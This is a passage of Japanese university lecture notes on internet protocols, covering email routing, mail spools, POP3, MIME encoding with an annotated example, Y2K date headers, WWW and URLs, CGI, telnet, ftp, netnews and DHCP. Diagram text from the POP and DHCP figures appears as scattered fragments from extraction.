3.3.2.2
送信先の決定方法
これまでに, メールの送信命令を受けた MTA は, 宛先アドレスを元にメールの送信先ホストを決定する
と述べた. ここでは, その手順を詳細に見ていこう.
電子メールアドレスは, [email protected] 等と, @ で区切られた, 宛先ユーザ名と, 宛先ドメ
イン名に分けられる. メールの送信先を決定するには, 宛先ドメイン（上の例では math.nagoya-u.ac.jp
）から, そのドメインに対応する MTA が動作しているホスト（メールサーバ (mail server) ）を調べる
必要があり, そこで利用されるのが DNS である. ここでは DNS のＭＸレコードと呼ばれる, FQDN ごと
に指定されたメールサーバの FQDN の情報を利用し, さらに, Ａレコードを利用して, メールサーバの IP
アドレスを求めることにより, 送信先のメールサーバを決定する.
しかしながら, ここで求めた送信先メールサーバは, 必ずしもメールの最終目的地とは限らない. 例えば,
企業などの大きなドメインで, 内部のドメイン構造を秘匿するためや, 内部のホストの安全性を高めるため
に, LAN の入り口近くにあるメールサーバで, すべてのメールを一旦受信し, さらに, 内部のホストに対し
てメールの転送を行う場合が多く, 上の例で「次の MTA への転送」とある部分はこの動作を指している.
3.3.2.3
メール・スプール
メール・スプール (mail spool) とは, MTA が受信したメールを, 各ユーザごとに分け, ユーザがメール
を読み出すまでの間保存しておくディスク領域のことである.
各ユーザ宛のすべてのメールは（基本的には）一旦メールスプールに保存され, ユーザはスプールに保
存されたメールを MUA で読み出すこととなる. MUA を利用してスプールに保存されたメールを読み出
す場合, スプールが MUA の動作するホスト上に存在すれば, スプール・ファイルを直接読み出すことで
29 MTA 自身は, メール・ヘッダ内に to, from の内容に関わりなく, 送信先と発信者を指定することができ, MTA の交信に使わ
れる送信先を envelope to, 発信者を envelope from と呼び, ヘッダ内の to, from とはプロトコル上は区別されている.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
95
MUA はメールをスプールから取り出すことが可能であるが, パーソナル・コンピュータ上の MUA を利用
している場合など, スプール・ファイルを直接ファイルとして読み出せない場合には, MUA は, 次に述べ
る POP プロトコル（または, IMAP プロトコル）を利用して, メール・サーバ内のスプールファイルをネッ
トワーク・プロトコルを利用して読み出し, ユーザに提示することとなる.
メール・スプールはディスクのある領域であるので, スプールがいっぱい (full) となる可能性がある. 通
常 MTA は, スプールがいっぱいになると, これ以上のメールの受信は不可能と判断し, スプールに空き領
域が出るまでは, メールの受信を拒否する. 従って,
• 巨大なメールを送り, 相手のメール・スプールをあふれさせるようなことをしてはいけない.
• 自分宛のメールをいつまでもメール・スプールにため込んで, メール・スプールをあふれさせる要因
を作ってはならない.
という, 電子メールを利用するための基本的な掟を守らなければならない.
ＭＴＡによるメールの受信
ユーザＡ
ユーザB
ユーザC
メールスプール
ＭＵＡによる読み出し
異なったホストからの
メールの読み出し
ＭＵＡによる保存
ＭＵＡによる保存
このように, MUA はスプールから読み出したメールを, MUA の保存領域（UNIX の場
合は「ホーム・ディレクトリ」, パーソナル・コンピュータの場合には, そのパーソナル・
コンピュータ上のディスク）に移動するか, メール・スプールに残すかの選択が出来る.
２つ以上のホスト（パーソナル・コンピュータや UNIX ホスト）でメールを読み出す場
合には, そのメールがどのように移動しているかを適切に判断しなければ, 読んだはずの
メールが「迷子」になる場合がある.
UNIX ホストでホーム・ディレクトリを NFS により共有している場合には, どのホスト
から読み出しても保存されるディレクトリは一致する.
3.3.2.4
POP
pop3 (Post Office Protocol 3) プロトコルは 110/tcp で利用される, メールサーバ内のメール・スプー
ルから他のホストへメールを転送するためのプロトコルであり, RFC 1939 で詳細に定義されている.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
96
パーソナル・コンピュータや, メールサーバ以外の UNIX ホストでメールを読み出す場合には, メール・ス
プールを直接ファイルとして読み出すことは出来ない30 . そのため, メール・スプールを持つ pop3 のサーバ
（POP サーバ）に対して, 自分のメールを読み出したいというリクエストを行い, その返答として, メール
の内容を読み出すことが出来る. POP サーバは接続時点で, ユーザの確認のための認証 (authentication)
を行うが, その認証方法により, プロトコル手順は POP, RPOP, APOP にわかれる. 通常, POP ホストで
の UNIX パスワードを利用して認証を行う.
POP server
POP client
非常にいい加減に書いた, pop3 のプロトコルのや
り取りの様子である.
と
接続
認証
pop3 でもメールはスプールに残しておくことが可
能である. 例えば, ２台のパーソナル・コンピュータ
)
でメールを読み出す場合には, どちらか一方はメー
OK
ルをスプールに残す設定とし, もう一台はスプー
ルから削除する設定にするのが良い. また, 最近の
q
メ
)
読
ール
メー
し
み出
要求
MUA では「Ｘ日以上経過したメールはスプール
から削除する」という機能を持つものもあり, その
ような機能を利用すると, メール・スプールの管理
ル読
み出
は便利になる.
し
メール・スプールの管理はユーザの責任であり, そ
q
なら
必要)
を知らなければならない.
す
要求
に残
終了
ール
プ
ス
ルを
メー
OK
?
3.3.2.5
の影響はシステム全体におよぶ可能性があること
また, 同時に２つ以上の MUA でスプール・ファイ
ルにアクセスすることは出来ない. スプール・ファ
イルは MTA が受信メールの書き込みを行う場合
切断
もありうるため, UNIX 上の MUA や POP3 サー
バは, スプール・ファイルに対して, 排他的なファ
q
?
イル・ロックをかけるのが普通である.
MIME
電子メールの通信路 (SMTP セッション) は基本的には７ビットデータしか通すことが出来ない. すな
わち, ８ビットの情報をメールの通信路に流すと, 最上位ビットが保存される保証はない. したがって, 日
本語を含むメールの場合, JIS コードを利用しなければならない. ところが, 仮に JIS コードを利用しても,
メール・ヘッダ内には ASCII 文字しか含んではならないという規定があるため, サブジェクトに日本語を
書くことが出来ない. また, 画像や音声などのデータはバイナリファイルであるため, テキストファイルを
送受信することを前提とした smtp では, これらのファイルをそのまま送ることは出来ない.
このような多国語・マルチメディアメールを扱うために提唱された概念が MIME (Multipurpose Internet
Mail Extensions) であり, 電子メールやＷＷＷコンテンツの識別のための符号化やメッセージの構造提供
を行っている. MIME の仕様は RFC 2045, RFC 2046 によって定められ, コンテンツのタイプや符号化方
法を識別するための MIME ヘッダが規定されている.
MIME ヘッダとして規定されているものは
30 UNIX
ホストの場合, メール・スプールを NFS でマウントしていれば, 直接ファイルとして読み出すことは可能である.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
97
1. コンテンツタイプ, サブタイプ,
2. コンテンツ符号化形式,
3. コンテンツ識別子
などで, これらは電子メールの内容が何であるかを表す識別子である.
3.3.2.5.1
MIME 符号化メール
Example 3.3.5 ここでは具体的な例を見ることで, 多国語・マルチメディア・メールがどのように構成さ
れるかを見てみよう.
To: [email protected]
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
boundary="--Next_Part(Fri_Mar__2_16:51:06_2001_542)--"
Content-Transfer-Encoding: 7bit
----Next_Part(Fri_Mar__2_16:51:06_2001_542)-Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
<--<--<--<--<--<--<--<---
メールが MIME エンコーディングされていることを示す.
メールは複数のパートに分かれていることを示す.
パートの境界の文字列
メールの符号化（７ビット）
メールヘッダと本文の境界
第１パートの始まり
第１パートの内容（Plain Text で US-ASCII 文字）
第１パートの符号化（７ビット文字列であること）
<--<--<--<---
第２パートの始まり
第２パートの内容（jpeg 画像であること）
第２パートの符号化（Quoted-Printable 符号化）
第２パートの記述（添付ファイルであることと, そのファイル名）
<--<--<--<---
第２パートの内容（Quoted-Printable 符号化されている）
第３パートの始まり
第３パートの内容（RFC822 すなわち電子メール文書であること）
第３パートの符号化（７ビット文字列であること）
This is a test
----Next_Part(Fri_Mar__2_16:51:06_2001_542)-Content-Type: image/jpeg
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="exire-1024.jpg"
=FF=D8=FF=E0=00=10JFIF=00=01
----Next_Part(Fri_Mar__2_16:51:06_2001_542)-Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
To: [email protected]
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
boundary="--Next_Part(Fri_Mar__2_16:49:54_2001_595)--"
Content-Transfer-Encoding: 7bit
Date: Fri, 02 Mar 2001 16:49:56 +0900
From: Hisashi Naito <[email protected]>
<--<--<--<---
メールが MIME エンコーディングされていることを示す.
電子メール文書は再び複数のパートに分かれている.
パートの境界の文字列
電子メールの符号化（７ビット）
<--- 第３−１パートの始まり
<--- 第３−１パートの内容（Plain Text で JIS 漢字コード）
<--- 第３−１パートの符号化（７ビット）
----Next_Part(Fri_Mar__2_16:49:54_2001_595)-Content-Type: Text/Plain; charset=iso-2022-jp
Content-Transfer-Encoding: 7bit
これはテストです.
<--<--<--<---
----Next_Part(Fri_Mar__2_16:49:54_2001_595)-Content-Type: application/pdf
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="classification.pdf"
第３−２パートの始まり
第３−２パートの内容（PDF ファイルであること）
第３−２パートの符号化（Base64 符号化）
第３−２パートの記述（添付ファイルであることと, そのファイル名）
<--- 第３−２パートの内容（Base64 符号化されている）
JVBERi0xLjINJeLjz9MNCjIgMCBvYmoNPDwNL0xlbmd0aCA3OTc1DS9GaWx0ZXIgL0ZsYXRl
RGVjb2RlDT4+DXN0cmVhbQ0KSImsV8lu5MgR/QL9g46k0apmLtx887Q9RjfQgDEtwEBbPtRC
----Next_Part(Fri_Mar__2_16:49:54_2001_595)----
<--- 第３−２パートの終わり
<--- 第３パートの終わり
----Next_Part(Fri_Mar__2_16:51:06_2001_542)----
このメールは通常のメール本文, 添付ファイル（画像）, 他のメールの内容を含む３つのパートから構成さ
れている. 他のメールの内容の部分には, メール本文と添付ファイル（PDF ファイル）を含む, ２つのパー
トから構成されている.
この例でも分かる通り, MIME 符号化されたメールは, 各パートの内容（タイプ）を表す MIME ヘッダ
Content-Type と, そのパートの符号化方法を表す Content-Transfer-Encoding が重要な役割を果たし
ている.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
98
コンテント・タイプの一例とその意味
タイプ
サブタイプ
意味
text
plain
通常のテキスト charset は文字コードを表す
text
html
HTML テキスト31
message
rfc822
電子メールテキスト
application
pdf
アプリケーション・ソフトウェアのファイル（PDF ファイル）
application
binary
アプリケーション・ソフトウェアのファイル（ソフトウェア不明）
image
jpeg
画像ファイル（jpeg ファイル）
audio
aiff
音声ファイル（AIFF ファイル）
video
mpeg
動画ファイル（MPEG ファイル）
符号化方法
方法
意味
7bit
７ビットの US-ASCII 文字列で, １行の長さが制限範囲内
8bit
binary
８ビットの非 ASCII 文字列で, １行の長さが制限範囲内
quoated-printable
quoated-printable 符号化
base64
Base64 符号化
非 ASCII 文字列で, １行の長さに制限なし
Base64, Quoated-printable 符号化とは, バイナリファイルをテキストファイルに符号化する方法であり,
Base64 は６ビットごとに ASCII 文字を割り当てていく方法, Quoated-pritable は非印字可能文字を=0D
のように = の後にそのコードの１６進数を記述したものであり, ともに符号化・復号化は極めて易しい.
通常 MUA は Content-Type, Content-Transfer-Encoding にしたがって, 自動的に MIME エンコー
ディングを復号化してユーザに表示する. もし, MUA が自動的に MIME 復号化をしない場合には, 上の
例のように “boundary” を調べて, 各パートに分割してから, Base64 または Quoated-printable 復号化プ
ログラムに通せば良い.
近年, セキュリティを保つため, 公開鍵暗号を用いた電子メールの暗号化や, 電子メールに電子署名をつ
けると言った技術が広く使われているが, 暗号化電子メールも Multipart/Encrypted という MIME 符号
化メールとして扱われる.
3.3.2.5.2 サブジェクトの MIME 符号化メールヘッダに非 US-ASCII 文字を埋め込む場合, すなわ
ち, サブジェクトに日本語をいれるような場合には, 上のような MIME 符号化によるカプセル化を行うこ
とは出来ない32 . そのため, ヘッダ部分の MIME 符号化は RFC 2047 で別に定められている. 基本的には
Base64 符号化を行うが, その記述形式がメール・ボディ部分とは異なっている.
3.3.2.6
パーソナル・コンピュータの MUA の設定方法
パーソナル・コンピュータでメーラを設定する場合の設定内容の意味を調べてみよう.
電子メールアドレス当然だが, 自分の電子メールアドレスを入力する.
31 Microsoft Outlook Express などのユーザは, 意識せず常に HTML パートを含むメールを出していることがある. 世の中の
MUA は必ずしも HTML パートの表示をデフォールトにしているわけではないので, このようなメールを出されるのはいい迷惑で
ある.
32 だって, Subject を複数行に渡らせることは出来ないから...
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
99
メールサーバ SMTP サーバ, 送信用サーバと表している MUA もある. パーソナル・コンピュータの MUA
は, 非常に小規模の MTA 機能をもち, 送信すべきメールを smtp を利用して, メール・サーバに転送
要求を出すものが多い.
ここに設定するのは, 自分のドメインのメール・サーバ.
POP サーバ受信用サーバと表している MUA もある. 自分宛のメールがスプールされていて, POP3
サーバとなっているものを指定する.
なお, 後に述べるセキュリティ上の理由から, 受信したメールに添付されている「添付ファイル」を自動的
に表示・実行するような設定は行わない方が良い.
その他の問題
3.3.2.7
ここでは電子メールに関連するいくつかのセキュリティ以外の問題を解説する. ただし, セキュリティな
どに関する問題は, 後にまとめて解説する.
２０００年問題
3.3.2.7.1
コンピュータ上には日付情報を含む各種の情報が記述してある. 西暦１９０
０年代では, コンピュータ上の日付情報は西暦の下２桁を利用して表現していたソフトウェア・ハードウェ
アがいくつか存在していた. しかし, ２０００年代に入り, 西暦の下２桁だけを利用すると, １９９９年は
“99” であるが, ２０００年を与えるために “00” とせざるを得ない33 . したがって, 日付情報（タイム・スタ
ンプ (time stump 呼ぶ）を元に制御を行っているもの, 例えば, 経過時間を計算したり, タイム・スタンプ
を元に依存関係を調べたりするものは, その制御が狂ってしまう. このような一連の問題を２０００年問題
(Year 2000 Problem, Y2K) と呼び, １９９０年代後半から大きな話題になっていた. この他にも, GPS
(Global Positioning System: 人工衛生を使った, 地球規模の位置情報システム) の週制御の問題, UNIX の
２０３２年問題など, 日付情報フィールドのフォーマットに関わる問題は, 依然数多く存在している.
電子メールに関わる２０００年問題は, 電子メール・ヘッダに書かれる date フィールドの関連する. date
フィールドは, 電子メールの MUA dispatcher が付加するフィールドで, MUA が動作するコンピュータの
カレンダ・タイマ (calendar timer) および, タイム・ゾーン (time zone) から決定され, 以下のような
形式をとる.
Date: Thr 03 Apr 97 11:38:05 +0900
この中で問題となるのは, 西暦の下２桁を表す部分で, これが２０００年以後の場合,
Date: Sun 01 Jun 00 11:38:05 +0900
となる. 電子メールの MUA は到着したメールを date フィールドを元に並び替える機能を持つが, このよ
うな西暦下２桁の表示では, 発信時刻順に正しく並び替えることは出来ない.
そこで, 電子メールに関する RFC 1123 （１９８９年）では,
The syntax for the date is hereby changed to:
date = 1*2DIGIT month 2*4DIGIT
All mail software SHOULD use 4-digit years in dates, to ease
the transition to the next century
とあり, さらに, RFC 2626 (The Internet and the Millennium Problem, １９９９年) には,
33 これを
“100” と表現できるのであれば, 何も問題は生じないと言っても良い.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
100
3.3 ‘‘Electronic Mail’’
After reviewing all mail-related RFCs, it was discovered that while
some obsolete standards required two-digit years, all currently used
standards require four-digit years and are thus not prone to typical
Year 2000 problems.
RFCs 821 and 822, the main basis for SMTP mail exchange and message
format, originally required two-digit years. However, both of these
RFCs were later modified by RFC 1123 in 1989, which strongly
recommended 4-digit years.
と書かれている. これは, MUA の時刻順ソート機能に関する規定ではなく, MUA のメール発信機能に関わ
る規定で, RFC に SHOULD とある規定は, 「事実上順守しなければならない」と理解するのが正しい34 . さ
らに, RFC 2626 には “strongly recoomended” と書かれている. しかしながら, 依然として, 「RFC 1123
の規定が SHOULD であるので, 西暦は下２桁でもかまわない」という対応をしている MUA も存在するの
で35 , メールの発信時刻によるソートには注意が必要となる.
3.3.2.7.2
MUA の違いに起因する問題
最近は, 携帯電話を利用して電子メールを利用することが出来
るなど, いろいろと便利な道具が増えているのであるが, このような電子メール利用環境が多様になるにし
たがって, 標準化されているはずの電子メール環境にいろいろな問題が生じてきた. それらの多くは MUA
（電子メールソフトウェア）に起因する問題が多い.
3.3.2.7.2.1
HTML メール HTML メールとは, 電子メールの主要部分であるメールの本文を, text/plain
と text/html の２つのコンテンツ・タイプに同一文書を含んで, マルチ・パートとしたメールの俗称であ
る. Microsoft 社の Outlook Express を代表例とするいくつかの「高機能」な MUA では, ユーザが作成し
たメール文書を（デフォールトでは）自動的に HTML メールとして作成し, 同じ MUA を利用するユーザ
同士であれば, text/plain パートではなく, text/html パートをデフォールトで表示する機能を持つ36 .
このような機能は同じ環境, すなわち同じ MUA を利用するユーザ同士であれば, それなりに便利な機
能37 であることは否定しないが, 「インターネット」の電子メール環境は, RFC により標準化され, 異なっ
た MUA を利用しても, 電子メールの交換が可能であることに意味があり, このような相手の MUA を仮
定する電子メールは（たとえ RFC の規定に反していなくても）, 不必要なデータをネットワーク上に流す
ことになるので, 常に標準的な環境で電子メールを使うことの必要性を考えて MUA の選択をしなければ
ならない.
また, 画像情報などの標準化されたフォーマットのファイルを添付ファイルとする場合でも, 相手の環境
によっては必ずしも添付ファイルを表示できる環境かどうか分からない. さらに, 特定のアプリケーション
が作成したファイルを添付ファイルにして, 電子メールで送付した場合, 相手が同一のソフトウェアを持っ
ていない限り, その添付ファイルを開くことは出来ない. 近年, むやみやたらに各種の添付ファイルを電子
メールで送ることが多いが, 相手がその添付ファイルを開くことが出来るかどうかを確認して, 必要最小限
のものだけを送ることが重要である.
34 RFC
において MUST とあるときには, 「必ずこの規定に従わなくてはならない」と読む.
この手の対応をするものは大メーカのものが多く, フリー・ソフトウェアほど RFC への対応が良い. この手のソフト
ウェアは可能な限り使わない方が良い.
36 極端な場合, text/plain パートがなく, text/html パートだけを作成する MUA もある.
37 だって, HTML 文書なら, 文字に色をつけたり, 文字を大きく表示させたりできるからね.
35 だいたい,
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
3.3.2.7.2.2
携帯電話などの MUA
101
携帯電話などの電子メール環境では, 受け取ることの出来る文字数
（バイト数）に制限がついていることが多い. 携帯電話などの超小型移動端末では, 利用できるメモリ量に
制限があり, そのために受信可能文字数に制限がついていると考えられる. このような文字数制限は発信時
にも課せられるため, 携帯電話同士の電子メールなどでは問題は生じないが, 通常の MUA から発信された
メールを携帯電話で受信する場合に問題が生じる.
携帯電話から通常の MUA を利用しているユーザに対してメールを書いた場合, 受け取ったユーザは返
信を書く際には, 相手が携帯電話かどうかを判断しなければならず, さらに, 「携帯電話なのでＸＸＸＸ文
字以内でお願いします」といっても, その文字数（バイト数）以内に返信が収まるかどうかわからない38 .
したがって, 携帯電話を利用して電子メールを利用するユーザは, その返信に対して, 全体を受信できない
可能性を認識し, 携帯電話のような特殊な MUA を使う利用者自身が, その機能制限の意味を理解し, 利用
上の責任を負わなければならない39 .
3.3.3
WWW
WWW (World Wide Web) とは, （基本的には）ハイパーテキスト (hypertext) で書かれたネット
ワーク上のリソース（資源）を提供する機構である. ハイパーテキスト40 とは, そのテキスト中に他のテキ
ストへのリンク (link) があり, 単にテキストの羅列ではなく, 全体が相互に網の目 (web) 状にリンクで結
ばれているものである.
3.3.3.1
WWW のプロトコル
WWW を実現しているプロトコル, すなわち, ハイパーテキストの転送に用いられるプロトコルは, http
(HyperText Transformation Protocol) と呼ばれ, 80/tcp を用いる. (RFC 1945, RFC 2068) また, http
プロトコルで用いられるハイパーテキストを記述する言語は, HTML (HyperText Markup Language) と
呼ばれ, W3C (World Wide Web Consortinum) で標準化されている.
他の多くの TCP プロトコルが, 該当するアプリケーションの実行中はコネクションを確保しながら通信
を行うのに対して, http は, ステートレスと呼ばれる, 呼び出し時点で毎回コネクションを確立することに
より, データの転送を行うことが大きな特徴となっている.
3.3.3.2
URL
http プロトコルを用いたハイパーテキスト・リソースの「インターネット」状の場所の特定のために用
いる表現を, URL (Universal Resource Locators) と呼び, RFC 1630 で規定されている. URL の一般的な
書式は,
<scheme>:<scheme-specific-part>
と書かれ, <scheme> には, そのリソースを利用するためのプロトコルが指定される.
38 もちろん,
「ＯＫ」などという返信であれば明らかなのだが...
返信内容として数行を期待しているのだろうが, 返信を書く方にとっては, そのようにはならないこともありうるので,
「返信はＸＸＸＸ文字以内でお願いします」なんて書かれても困るし, さらに, そんなこと要求する方が間違っているのです.
40 ハイパーテキストの概念自身は１９４５年に V. Bush によって提唱されています. また, １９８０年頃には B. Atkinson によ
り, ハイパーテキストをカード型データベースと結合した, HyperCard というソフトウェアもありました. WWW の概念は１９８９
年に CERN （ヨーロッパ加速機機構）の Tim Berners-Lee によって開発され, １９９３年グラフィカルなブラウザ NCSA Mosaic
on X Window System の登場で, WWW は一気に爆発していきます.
39 要するに,
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
102
代表的な <scheme>
scheme
内容
http
ハイパーテキスト転送プロトコル
ftp
ファイル転送プロトコル
telnet
インタラクティブ・セッション
mailto
電子メールアドレス
nntp
ネットワークニュース転送プロトコル
file
ホスト内のファイルを読み出す
この中で mailto 以外は <scheme-specific-part> として, 以下の形式をとる.
//<user>:<password>@<host>:<port>/<url-path>
<user>
プロトコルを利用するためのユーザ名（オプション）
<password>
プロトコルを利用するためのパスワード（オプション）
<host>
プロトコルでアクセスするホストの FQDN または IP アドレス
file を用いる場合以外は必須
<port>
接続するポート番号
デフォールトでは各プロトコルのデフォールト・ポート番号
<url-path>
<scheme> に依存したオブジェクトの位置
Example 3.3.6 http://www.math.nagoya-u.ac.jp:8001/
は http で www.math.nagoya-u.ac.jp の 8001 番 TCP ポートにアクセスし, http サーバに対して / と
いうオブジェクトの転送を要求するための URL である.
ちまたでは, この URL のことを「ホームページアドレス」と呼ぶことが多いが, これは明らかな用語の誤
用であり, 「インターネット」の正式な各種の文書中には一切このような言葉はでてこない.
3.3.3.3
WWW ブラウザ
HTML を用いて記述されたハイパーテキストを, RFC にしたがって表示するアプリケーションを WWW
ブラウザ（ウェブ・ブラウザ）と呼ぶ. HTML ではハイパーテキスト中に画像を埋め込んだり, 文字の大き
さを変えたりするための仕様が定義されているが, それらをどのように表示するかはブラウザに依存してい
る. 文字の大きさを一例にすれば, HTML 文書内では「文字を大きくする」とか「文字を強調文字にする」
という属性を指定できるが, 具体的にどのような大きさの文字を表示するか, 強調文字はどのようなフォン
トを用いるかはブラウザの設定に依存している. さらに, ハイパーテキスト中に埋め込んだ画像（インライ
ン画像）として, どのような画像フォーマットのファイルが利用できるかさえもブラウザ依存である4142 .
3.3.3.4
WWW における MIME タイプ
http では転送される文書はハイパーテキストでなくてもよい. 実際, HTML 文書内に埋め込んだインラ
イン画像を転送する場合にも http を用いるので, http サーバは, 転送要求のあったリソースがどのよう
な種類のもので, どのようなフォーマットになっているかを, ブラウザに対して知られることが必要となる.
そのために用いられるのが, （電子メールの章で解説した） MIME タイプである. すなわち, http サーバ
41 実際には,
インライン画像が表示可能なブラウザであれば, jpeg または gif フォーマットであれば表示可能であることが多い.
HTML 文書を作成する場合には, 極力ブラウザ依存性を排除したものを作成すべきである.
42 したがって,
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
103
は転送要求のあったリソースがハイパーテキスト文書であるときには, クライアント（多くの場合ブラウ
ザ）に対して, リソースのコンテンツタイプを同時に転送する. それによって, ブラウザは設定ファイルを
等を参照することにより, 適切な表示方法を選択し, （可能であれば）画面などに表示を行う.
一方, http サーバは, 転送要求があったリソース（通常はファイル）のファイルの拡張子43 を用いて, ファ
イルのコンテンツタイプを決定する機能を持っている44 .
したがって, 特定のブラウザを使った, 特定の仲間内で利用する URL 内では, 特定のアプリケーション
のファイルなどを, 適切なファイル・コンテンツタイプを記述することにより, 相互にブラウズすることも
技術的には可能である.
3.3.3.5
CGI
CGI (Common Gateway Interface) とは, HTML で記述されたフォーム (form) と呼ばれる形式の入力
を http サーバが受け取り, http サーバ内で適切な処理をして, 結果を HTML で出力する一連の手順また
はそのソフトウェアのことを指す.
CGI はサーバ側の資源を利用して処理を行うため, 適切に設定しないとサーバ側にセキュリティ・ホー
ルを構成する可能性もあるが, CGI が有効に使われている例として, いわゆる「検索エンジン」と呼ばれ
るウェブページが多数存在する. これは, 世界中に散らばる多くの HTML 資源を順にたどり, そのデータ
ベースを構築し, CGI を用いたデータベース検索エンジンを用いて, ウェブページのキーワードによる検索
をおこなうものである. 検索エンジンでは, データベースを構築するために「ロボット」と呼ばれるプログ
ラムにより, 各地の HTML ファイル内容から順にリンクをたどることにより, 世界中の HTML 資源に到
達させる仕組みを用いている45 .
CGI はウェブページの可能性を広げた, 非常に有効なツールであるが, セキュリティの問題の他に, CGI
を適切に書かないと, 特定のプラットフォーム上のブラウザしか正しく表示が出来なかったり, ウェブブラ
ウザやプロキシ・サーバのキャッシュにより, 正しく動作しなかったりすることが多い.
3.3.4
telnet
telnet とは「インタラクティブ・セッション」と呼ばれる, ネットワーク経由でホストの仮想端末を利用
する方法である. (telnet プロトコルは 23/tcp を利用する. ) telnet を用いることにより, 遠隔地にある
UNIX ワークステーションを, 手元の UNIX ワークステーションやパーソナル・コンピュータから利用す
ることが出来る. しかしながら, telnet は文字ベースの仮想端末しか提供しないため, GUI は利用できない.
3.3.5
ftp
ftp とは File Transfer Protocol と呼ばれ, 遠隔地の／にファイルを転送する機能を提供する. 通常は,
そのホストにある自分のファイルを転送するために用いるため, 認証を必要とするが, フリーソフトウェア
の配布のためなどに, 不特定多数のアクセスを制限付きで許すアノニマス ftp サーバ (anonymous ftp
server) と呼ばれるものが世界中に存在している.
ftp のプロトコル仕様は単純ではなく, ２本の TCP 通信路を利用するため, 内向きにフィルターの掛っ
たファイアーウォールを通過するためには, パッシブ・モードと呼ばれる ftp 転送を用いなければならない.
43 .html
とか .jpeg と言った, 末尾に付けられた, 便宜的なファイル名のおまけの部分.
過去に良く利用されていた NCSA httpd, CERN httpd や現在広く利用されている Apache http server などは,
このような機構でファイル・コンテンツタイプをきめている.
45 ロボットに検索をされては困るページなどは, 適切な設定ファイルを書くことにより, ロボットがそのページをデータベースに含
めないといった「約束ごと」が存在するが, 世の中にはたちの悪いロボットも多く, この手の設定ファイルは無視されることが多い.
44 少なくとも,
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
104
3.3.6
ネットワークニュース
ネットワークニュース (network news) とは, 階層的に分割されたニュース・グループにからなる, 不
特定多数によるメッセージ交換のシステムである. ネットワーク・ニュースは, ニュース・グループごとに
決まった話題を議論するために用いられ, 多くの情報がやり取りされている46 .
ネットワーク・ニュースを転送するためのプロトコルを nntp (Network News Transfer Protocol) と呼
び, 119/tcp を用いる. ネットワーク・ニュースは特定のサーバに蓄積されているものではなく, 世界中の
ニュース・サーバの間で, 互いに「購読しているニュース・グループ」の不足しているファイルを交換する
ことで, 各サーバにニュースが蓄積していく. 例えば, あるニュース・グループへ投稿 (post) された記事
(article) は, そのときに利用していたニュース・サーバに蓄積され, 定期的に行われるサーバ同時のデータ
交換の時間になると, 近隣の（データを交換する）サーバへ投稿した記事が転送されていく. したがって,
世界中のニュース・サーバへ記事が伝達されるにはそれ相応の時間が必要となる.
一般にはニュース・サーバは不特定多数からアクセス可能であるが, ローカル・ニュース・グループと呼
ばれる, そのサーバ独自のニュース・グループや, ごく少数のサーバ同士で交換されるニュース・グループ
もあり, そのようなもグループには, 不特定多数のユーザはアクセスできないことが多い. また, ニュース・
グループは（一般には）誰でもが作成要求を出せるわけではなく, 各ニュース階層ごとに決まったモデレー
タ (modelator, 司会者) が適切な条件の元にニュース・グループを作成し, 各サーバにはモデレータ権限に
よるグループ作成命令が届いたときのみ, サーバ上に新規ニュース・グループが作成される.
Example 3.3.7 fj.sci.math は日本語で数学に関する議論を行うニュース・グループである. fj ニュー
ス・グループは, 日本国内のみに配信されるのではなく, 利用言語が日本語という意味を持ったニュース・
グループである.
3.3.7
DHCP
DHCP (Dynamic Host Configuration Protocol) は, これまでのプロトコルと異なり, ユーザに対して
サービスを行うのではなく, ホストに対してサービスを行う.
3.3.7.1
DHCP の機能
ネットワーク上にホストを接続する場合には, 世界中で一意的な IP アドレスを割り当てなければならな
い. しかし, ノート・パソコンの普及や, IP アドレスの不足に伴って, LAN 内に接続するノート・パソコン
すべてに IP アドレスを割り当てることが出来なくなってきている. そのため, ノート・パソコンのような,
常時は接続しないホストに対しては, 一定時間だけ特定の IP アドレスを割り当てて, そのホストがネット
ワークから切り放された後は, 他のホストがその IP アドレスを利用できるようにすることが望ましい. こ
れを実現するプロトコルが dhcp である.
元々は, bootp と呼ばれる, ホストの各種のネットワーク設定（IP アドレスやサブネットマスク等. 極
端な場合, ネットワーク上のディスクからブートを行うための手順）を, サーバ・ホストで一元管理するた
めに利用されてきたプロトコルがあり, dhcp は bootp をより高度に拡張したプロトコルである. dhcp も
bootp も, 67/udp, 68/udp という同じポート番号を用いる.
dhcp では, 不特定多数のコンピュータに対して, 利用して良い IP アドレス, LAN のサブネット・マス
ク, LAN のデフォールトの経路, DNS サーバアドレス等を提供することができ, そのうちのどの情報を用
いるかは dhcp クライアント・プログラムの機能によって異なる.
46 ネットワーク・ニュースを見るためには,
nntp に対応したニュース・ブラウザが必要となる.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
3.3.7.2
105
DHCP の問題点
dhcp では不特定多数のコンピュータに対して, 自動的に IP アドレスを割り当てるため, LAN に物理的
に接続することが可能であれば, どのようなコンピュータでも LAN を利用することが出来る. これは便利
な反面, 非常に危険でもあり, 誰でもが勝手にネットワークを利用できることとなるため, 今日では, dhcp
により IP アドレスをもらうことが出来るコンピュータを, MAC アドレスを用いて制限する機能を持った
DHCP サーバも登場している.
3.3.7.3
DHCP の詳細
ここでは LAN に接続したコンピュータが DHCP で IP アドレスの割り当てを受ける流れを見てみよう.
DHCP server
)
IP
DHCP client
レ
アド
IP ア
ドレ
IP
)
要
スの
スの
割り
求
当て
q
後
時間
求
定
要
一
延長
用
利
レス
アド
OK
q
?
